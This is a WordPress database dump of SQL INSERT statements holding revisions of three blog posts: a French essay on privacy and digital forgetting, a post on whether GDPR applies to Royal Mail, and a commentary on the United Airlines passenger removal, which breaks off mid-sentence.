INSERT INTO `wp_3_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES (823,5,'2020-05-02 12:48:30','2020-05-02 11:48:30','<!-- wp:paragraph -->\n<p><strong>POURQUOI LE RESPECT DE LA VIE PRIVEE EST UNE IMPERATIVE</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans son ouvrage « Delete: The Virtue of Forgetting in the Digital Age », Viktor Mayer-Schonberger du Berkman Klein Center of Internet and Society , expose l\'ombre permanente qui nous suit en ligne pour toujours. Les problèmes de dignité humaine et de liberté qui en découlent et sa solution suggérée: suppression automatique des fichiers par date d\'expiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rétablir le paramètre par défaut, du souvenir à l\'oubli.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les parcelles d\'informations éparses se regroupent et construisent une image, parfois déformée, qui nous poursuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon la théorie de la conservation de l\'énergie, les données ont une durée de vie trompeusement longue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rien n\'est effacé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Comme le souligne Viktor Mayer-Schonberger, le projet de génocide de la Stasi allemande aurait pris une toute autre dimension, et bien apocalyptique, si les capacités de recherches sur Google et l\'indexation des données avaient existé à l\'époque.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il mentionne le cas du registre des citoyens néerlandais mis en place dans les années 1930. Pour assurer l\'administration des titres sociaux, il comprenait les donnes de religion et d\'éthnicité. Une fois que les nazis ont occupé les Pays-Bas, ils ont exploité le registre pour identifier les juifs à déporter et à envoyer dans des camps de concentration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un autre grand spécialiste de la vie privée, le professeur Daniel Solove, oeuvre activement à sensibiliser sur les questions de protection des données et au devenir de la réputation en ligne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Son article, «Je n\'ai rien à cacher» et d\'autres malentendus sur la confidentialité, explique pourquoi le respect de la vie privée est important. Il a ensuite développé ses idées dans un essai : Rien à cacher: le faux compromis entre la vie privée et la sécurité.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si vous continuez à penser que les seules personnes qui devraient s\'inquiéter sont celles qui font quelque chose d\'immorale ou d\'illégale, vous devriez lire ses essais et ses livres. Avec la masse de données d\'omni-surveillance (constante surveillance), la situation n\'est pas seulement Orwellienne, mais kafkaïenne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans une série de vidéos et de conférences YouTube, le Professeur Daniel Solove attire l\'attention du public sur les cas de harcèlement en ligne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La fille \'Dog Pooh\' est l\'histoire d\'une pauvre fille. Elle est avec son chien dans le metro de banlieue en Corée du Sud. Le chien fait caca dans le train, elle est pressée, elle quitte le train en refusant de nettoyer derrière. Autrefois, cela aurait été la fin de l\'incident. Aujourd\'hui, lorsque la persuasion en face à face échoue, il existe un plan de secours: l\'humiliation anonyme sur Internet. Le témoin qui l\'a enregistrée avec son smartphone, a mis en ligne la vidéo honteuse. En quelques jours, son identité et son passé ont été révélés. La vidéo devient virale partout dans le monde. Des affiches et toutes sortes de blagues s\'ensuivent. Les médias ont écrit à son sujet. Même le Washington Post américain a écrit sur son histoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Elle a finalement atteint une renommée mondiale qu\'elle aurait souhaité n\'avoir jamais atteinte. Pour toujours, cette image la suivra. Cette fille sera reconnue comme la \'Dog Pooh Girl\' \'la fille au caca de chien\'.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une autre illustration, la triste histoire du \'Star Wars Kid\'. Un jeune garçon, un peu potelé, au Canada. Il publie une vidéo de lui-même en ligne le montrant dans sa tentative, plutôt infructueuse, d\'imiter George Lucas, le célèbre star de cinéma. Sa vidéo a été regardée par des dizaines de millions d\'internautes qui ont commenté et largement moqué son geste. Il a été moqué par le monde entier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un incident d\'enfance qui le suivra pour toujours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove s\'interroge alors sur l\'avenir de la réputation à l\'ère numérique et comment les données peuvent vous poursuivre.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il a écrit: « Si l\'Empire de Star Wars avait le Big Data, l\'Empire aurait gagné. Une recherche de documents aurait révélé où Luke Skywalker vivait sur Tatooine. Une collecte et une agrégation plus efficaces des enregistrements Jawa auraient permis de localiser immédiatement les droïdes. Une simple analyse des données aurait révélé que Ben Kenobi était vraiment Obi Wan Kenobi. Une recherche dans les registres de naissance aurait révélé que la princesse Leia était la sœur de Luke. Si l\'Empire avait eu quelque chose comme la NSA, il aurait eu toutes les données dont il avait besoin, et il aurait pu balayer les droïdes et tout le monde, et ça aurait été ça. \"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi, plus d\'informations sont-elles mieux stockées?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Qu\'est-ce qu\'une information sortie de son contexte.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Qu\'est-ce que la liberté et l\'autonomie des individus lorsque nous ne pouvons pas échapper à notre passé?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lors d\'une interview avec le Wall Street Journal, le PDG de Google, Eric Schmidt, a suggéré que les jeunes devraient avoir le droit de changer leur identité une fois atteint l\'âge de 21 ans pour échapper à leurs erreurs de jeunesse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il ajoute: « Je ne crois pas que la société comprenne ce qui se passe lorsque tout est disponible, connaissable et enregistré par tout le monde à tout moment. \"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alors, prendre une nouvelle identité est-ce une option réaliste?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardons d\'abord Facebook, un site où les utilisateurs sont encouragés à partager leurs histoires quotidiennes, leurs sentiments et leurs opinions. Facebook a permis que les profils de ses utilisateurs soient exploités par l\'entreprise Cambridge Analytica afin de manipuler leurs opinion a dessin de votes électoraux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Plus inquiétant, Facebook ne respecte pas les multiples couches de notre personnalité en les stockant en un seul endroit. Plus de liberté d\'expression ni de langage modulaire selon les niveaux de relations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans le passé, les gens maintenaient des journaux intimes. Aujourd\'hui, il a été remplacé par des blogs en ligne ou des plateformes de médias sociaux où les gens révèlent les détails les plus intimes de leur vie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Et accessoirement la vie de leur famille, amis, collègues, tout le monde, mis en ligne pour l\'éternité.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>50% des blogs sont tenus par des jeunes de moins de 18 ans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La génération Google, comme l\'appelle Daniel Solove, a ses souvenirs enregistrés pour toujours. Une enfance qui les suivra à jamais, pour le loisir de Google à ramener chaque pièce de souvenirs a la surface.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Oublier n\'est pas pardonner. C\'est une purge salutaire de notre cerveau. c\'est surtout une purge aléatoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peut-être avez-vous entendu parler de Neuralink, un projet révolutionnaire financé par Elon Musk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Elon Musk est le PDG américain multimilliardaire des voitures électriques Tesla, l\'inventeur des fabuleuses tuiles solaires. Il projette même de coloniser la planète Mars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'homme le plus riche du monde selon le magazine Forbes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Son projet Neuralink vise à réduire les inégalités sociales en renforçant les capacités cognitives. Un projet d\'implantation d\'interfaces électroniques dans le cerveau des populations défavorisées, car il estime qu\'elles manquent d\'intelligence. Une théorie soutenue par le Dr Laurent Alexandre français qui estime qu\'un QI élevé est la clé du succès. Toute une utopie du transhumanisme.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Donnez-leur un traitement cérébral supplémentaire et vous résoudrez les problèmes de pauvreté!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ajout de mémoire:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maintenant, regardons une petite histoire racontée par le Professeur Jean-Gabriel Ganascia:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une petite fille, Adele, demande à sa grand-mère Juliette: Grand-mère , qu\'est-ce que cela signifie une «récitation» ? La grand-mère se souvient vaguement qu\'au début du XXIe siècle, les gens devaient lire et relire pour mémoriser la poésie ou d\'autres textes. Adele vit en 2075. Elle n\'en a aucune idée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neuralink a résolu le problème de mémoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En fait, Elon Musk a emprunté son idée à NEURALIFE dans « Tomorrow and Beyond », livre de science-fiction de Ian Bronx.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La petite fille est curieuse de savoir si cet apprentissage par cœur a été douloureux. La grand-mère dit: « non, il fallait juste lire et relire pour mémoriser, pour ne pas oublier. \"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La petite fille n\'a aucune idée de ce que signifie oublier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jean-Gabriel Ganascia, qui raconte cette histoire de science-fiction, est professeur d\'informatique et philosophe français. Il est président du comité d\'éthique au CNRS. Ses recherches sont particulièrement axées sur l\'éthique et l\'intelligence artificielle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En France, les patients sont déjà traités par des simulations électroniques profondes du cerveau pour traiter les symptômes de la maladie de Parkinson.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maintenant, imaginez avoir une mémoire étonnante pour enregistrer et vous souvenir de tout, y compris chaque rêve, chaque détail de votre vie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eh bien, près de 80 personnes dans le monde aujourd\'hui ont naturellement cette capacité biologique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En fait, ils souffrent, ils souffrent de troubles d\'hypermnésie. Ils gardent en permanence un parfait souvenir de leur vie. Ils se souviennent pratiquement de chaque événement mineur que la plupart des gens oublieraient en quelques jours. La mémoire pour eux est si vivante qu\'ils peuvent ressentir la douleur pour toujours une fois enregistrée. Chaque image douloureuse qu\'ils voient reste gravée dans leur cerveau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imaginez le cauchemar qu\'ils vivent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sans oublier que nous pourrions être hantés par le passé sans la capacité de pardonner ou de décider dans le présent .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si le projet Neuralink devait aller de l\'avant, il lui faudrait un bouton de suppression.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Et voici la grande question: qui peut décider de sélectionner et supprimer nos souvenirs?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Avant Neuralink, nous sommes les premières générations à avoir une grande partie de notre vie en permanence, enregistrée numériquement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Google agrège et affiche en un clic toutes les miettes d\'informations pour recomposer le puzzle de notre vie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Que peut offrir le droit à l\'oubli?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le soi-disant \'droit à l\'oubli\' créé par la Cour Européenne de Justice ne supprime pas les informations, mais dissocie uniquement le contenu des résultats du moteur de recherche Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans des circonstances spécifiques, un droit de suppression a été introduit par le récent règlement européen sur la protection des données personnelles. Mais ca concerne une très petite parcelle de nos rares informations disponibles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depuis sa création il y a 20 ans, Google recueille et accumule une masse de données.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Google en sait plus sur chacun de nous que nous-mêmes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La nouvelle société Panopticienne mondiale de surveillance invisible menace la liberté et la dignité humaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Se souvenir est depuis longtemps le rêve de l\'homme. Cependant, l\'oubli est une capacité biologique. Aujourd\'hui, un changement s\'opère. De l\'oubli biologique, nous sommes passés à la mémoire numérique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Normalement, la mémoire est l\'exception, l\'oubli la valeur par défaut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Numériquement, la memorisation est devenue la valeur par défaut, l\'oubli l\'exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La santé et le bien-être humains sont basés sur l\'équilibre entre la mémoire et l\'oubli.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les feuilles des arbres prennent les couleurs de l\'automne pour tomber. Progressivement, ils rejoignent le sol pour enrichir ses nutriments. Cette putréfaction est ce qui permet plus tard la naissance de nouvelles vies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une transmutation que l\'épigénétique commence à voir dans l\'ADN humain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nous devons oublier pour mieux nous souvenir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La conscience donne la possibilité de peser les avantages et les inconvénients. Être conscient, ce n\'est pas avoir peur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Comment protéger au mieux notre vie privée?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Vaut-il prendre le risque de le mettre en ligne pour l\'éternité?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Comment apporter transparence et contrôle pour une meilleure confidentialité?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce sont les options de notre avenir, l\'avenir de nos enfants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quel genre de société nous voulons pour eux?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pour se protéger contre un avenir imprévu, il vaut mieux stocker moins que plus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alors, souvenons-nous d\'oublier, pour emprunter les mots de Viktor Mayer-Schonberger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lectures complémentaires:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La vie sous les chiffres</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Garder un œil</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Drones, éthique et réglementation des voitures autonomes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initiatives de la France pour relever les défis de l\'intelligence artificielle</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Caméras portables</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce travail est autorisé sous une licence internationale Creative Commons Attribution 4.0 .</p>\n<!-- /wp:paragraph -->','*POURQUOI LE RESPECT DE LA VIE PRIVEE EST UNE IMPERATIVE**','Rétablir le paramètre par défaut, du souvenir à l\'oubli.','inherit','closed','closed','','810-revision-v1','','','2020-05-02 12:48:30','2020-05-02 11:48:30','',810,'https://datarainbow.eu/2020/05/02/810-revision-v1/',0,'revision','',0),(824,5,'2020-05-02 12:48:41','2020-05-02 11:48:41','<!-- wp:paragraph -->\n<p>There has been questioning around the application of the GDPR to Royal Mail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On his video interview with the BBC, ICO representative Steve Woods, was questioned if GDPR would apply to the RM. His answer was yes it applies. I bring up the question on Twitter asking @ICOnews if they could confirm this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>, @ICOnews hi could you possibly clarify GDPR application to the post. Is Post office liable for data protection of mails content? Let\'s say in case of wrongful delivery? Is that a data breach?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The answer came shortly after from @ICOnews :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As with current DPA, it\'s unlikely that the Post Office would be the data controller for information contained in post they’re delivering, and so wrongful delivery would be unlikely to be considered a breach, but their own/other rules may apply in that situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two analogies that came to my mind : one is if someone borrowed a coat and a diamond ring in the pocket he had no knowledge of get damaged or lost, could he be held liable?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second analogy is ISP immunity for third party content. As an ISP is not liable for third party content if it does not monitor or edit content, how could RM be liable for the personal data hypothetically content in the letter it delivers. If the content was to be of sensitive value, it should be registered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was told Tim Tuner had expressed a divergent view (Return to Sender).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>James Bryce Clark</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>@JamieXML had an interesting reaction :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Oh, man, are we really eradicating the traditional \"common carrier\" doctrine? :(</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Commerce as we know it would grind to a halt, if there were not reasonable limits on the duty to inspect the contents of third-party packages. (I\'ve heard similar arguments made for limitations on the duties of ISPs and Internet content portals.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Jon Baines @bainesy1969 remains confident RM is in control of the personal data hypothetically inside mails.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a wise man once said in a different context “ The...European data protection framework actually has a breath-taking scope”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> I cannot see how RM could process any personal data as the data inside the mail is, in principal, out of its reach. The only processing activity I could see is by \"dissemination or otherwise making available\" of an hypothetical personal data RM would have no knowledge of it. In my view, RM liability is limited to the delivery, not processing the data inside the mail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But for Jon Baines, @bainesy1969</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Replying to @clarinette02 @neil<em>neilzone @lawyer</em>martin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data protection law doesn’t say anything about data having to be “within the reach” of the processor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve not actually come down one way or another. I think Royal Mail must be either a controller or a processor, for the reasons in Tim Turner’s blog. But no one wants to address the implications for societal/pragmatic reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks to @IPnewsbe forwarded this pre-GDPR document, It seems clear to me that the ICO would agree with my interpretation. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"This means that the mail delivery service is neither a data controller nor a data processor for the clients that use its services because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> it is a mere conduit between the sender of the mail and its recipient;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> it does not exercise any control over the purpose for which the personal data in the items of mail entrusted to it is used; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> it has no control over the content of the personal data entrusted to it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol start=\"36\">\n	<li>This makes sense in practice because it would be unreasonable to expect a mail delivery service that has no control over the content of the mail items it delivers to comply with the data protection principles. For example it would not be able to ensure that personal data in its possession is accurate, up to date or held only for so long as it necessary. It cannot have data protection responsibility for personal data contained in an item of mail. It is merely responsible for the security of the letter or parcel in a physical.\" </li>\n</ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Otherwise any transporter would be deemed to GDPR liability for content. That does not make any sense to me. Could any road, rail, plane, or sea transporter become liable for the personal data content of the courrier?!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ICO document is under the DPA. Would it be different under the GDPR ? How could the ISP benefits from mere conduit immunity while Shooting the Messenger Royal Mail, as the honourable Gavin Sutter would say.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>W Kuan Hon, Christopher Millard and Ian Walden have even argued cloud provider should not be liable for the personal data they hold on behalf of their clients. I would argue this is a different situation as the actually are made in charge of saving and storing data on behalf of their clients. in paper \'Who is Responsible for \'Personal Data\' in Cloud Computing?The Cloud of Unknowing, Part 2</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ADDENUM : At Jon Baines request, I have modified the original version of this document adding here is the link to the actual Twitter exchange.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jon Baines :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve not actually come down one way or another. I think Royal Mail must be either a controller or a processor, for the reasons in Tim Turner’s blog. But no one wants to address the implications for societal/pragmatic reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>arguing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“processing’ means any operation or set of operations which is performed on personal data”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My objection to this is that RM has no control whatsoever over the content of the letter that could be personal data or any blank paper or CD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hope this clarification would satisfy Jon Baines who commented : \"Hi Tara - I’m disappointed you misrepresent me in this post. The tweet you quote is unconnected to the position you ascribe to me, and that ascribed position doesn’t reflect my views, as I made clear in the thread https://twitter.com/bainesy1969/status/991400045286215680?s=21\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->','GDPR Is Not Shooting The Messenger','There has been questioning around the application of the GDPR to Royal Mail.','inherit','closed','closed','','812-revision-v1','','','2020-05-02 12:48:41','2020-05-02 11:48:41','',812,'https://datarainbow.eu/2020/05/02/812-revision-v1/',0,'revision','',0),(825,5,'2020-05-02 12:48:52','2020-05-02 11:48:52','<!-- wp:paragraph -->\n<p>By now you must have heard of the incident that happened Sunday 9th of April at the Chicago O\'Hare International Airport. It\'s all over the news.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what happened exactly?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From what we know, it was the last flight on a Sunday evening 5pm from Chicago to Louisville Ky, on a small plane operated by United Express on behalf of the United Airlines. A passenger, Dr. David Dao, 69 years old, internal medicine specialist from Kentucky, was violently removed him from the seat, then dragged out of the plane by three policemen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1- It was not the case of an over-booked flight. First correction to what has been largely reported, the flight was not over-booked. All passengers had their tickets and had boarded on the plane. At this point, and once everyone was seated, somehow the company discovered they needed four seats for their own crew to board. According to the company, they used a set of criteria to determine which passengers should be denied access to boarding. Again, remember in this case everyone had been issued boarding passes and seated. So the right to deny boarding was waved by issuing barding passes and allowing passengers inside the plane. In the case of over-booked flight, Rule 25- Boarding Priorities of the airline contract stipulates :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\" If a flight is Oversold, no one may be denied boarding against his/her will until UA or other carrier personnel first ask for volunteers who will give up their reservations willingly in exchange for compensation as determined by UA. If there are not enough volunteers, other Passengers may be denied boarding involuntarily in accordance with UA’s boarding priority:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passengers who are Qualified Individuals with Disabilities, unaccompanied minors under the age of 18 years, or minors between the ages of 5 to 15 years who use the unaccompanied minor service, will be the last to be involuntarily denied boarding if it is determined by UA that such denial would constitute a hardship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines\' Own Contract Denied it any Right to Remove Passenger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"United said in a statement that it needed room on the aircraft to transfer crew for another flight and that it offered $1,000 to customers to give up their seats. When no one volunteered, it selected several passengers to deplane.\" M. Dao was chosen, but United said he refused to get off the plane. The tree other passengers accepted to onboard. M. Dao resisted explaining he had an early morning appointment the next day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A case of obvious management failure. They should have known they needed the seats before allowing passengers to board. Had they not boarded, they could have better managed the situation at the airport instead of rushing shortly before the take off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The road distance from Chicago to Louisville is about 5 hours drive. Leaving at 5pm, the crew could still arrive at 10 pm ready for departure the next morning. Next time, they might consider that option.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They preferred to call airport cops to evacuate the 69 years old manu militari, three police officers dragging him on the floor, causing injuries to the passenger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2- Use of disproportionate force to evacuate the passenger. This article in BoingBoing brings more details : Oversold, understated and authoritarian: debullshitifying the reporting on United\'s \"removal\" of Dr David Dao</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Dao wasn\'t beaten up by Chicago Police, but by airport cops, who are not part of CPD; what\'s more, the airport cops\' rolls include Richard Zuley, a dirty Chicago homicide detective who quit after a series of wrongful convictions, then worked as an \"interrogator\" at Guantanamo Bay, before boarding a plane in Chicago and beating a passenger unconscious.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, and they share my view, that once seated, the place is secured and the passenger should not be involuntarily evacuated. The plane was not over-booked, UAL was giving priority to its own crew.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rule 21- “Refusal of Transport” lays out the conditions under which a passenger can be removed and refused transport on the aircraft. This includes situations where passengers act in a “disorderly, offensive, abusive, or violent” manner, refuse to comply with the smoking policy, are barefoot or “not properly clothed,” as well as many other situations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It does not appear from the passengers recordings or witnesses that Dr Dao had any offensive behaviour. His resistance only started once they persisted to drag him out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3- What was the result of the operation?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Chicago’s aviation police officers dragged him out of his seat and up the aisle, causing bleeding to his face. Cellphone videos of the incident quickly went viral.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dao suffered a broken nose and concussion, his lawyer said Thursday. He was in a Chicago hospital undergoing treatment for his injuries. He has retained a high-powered Chicago personal injury lawyer, Thomas Demetrio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The man who was dragged off the United flight just took the first step toward filing a lawsuit</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United faces more questions as dragged passenger hires high-powered attorney</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Chicago Tribune : \"Demetrio\'s practice centres on medical negligence, product liability, airplane crash and commercial litigation on behalf of plaintiffs and he has negotiated more than $1 billion in settlements, according to the firm\'s website.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Attorney for United Airlines passenger Dao says there will \'probably\' be a lawsuit</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the biggest damage caused is the reputation of the company. The incident was a public relations nightmare for United.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the age of the internet, social media and smartphone recordings, the word get spread at the speed of the 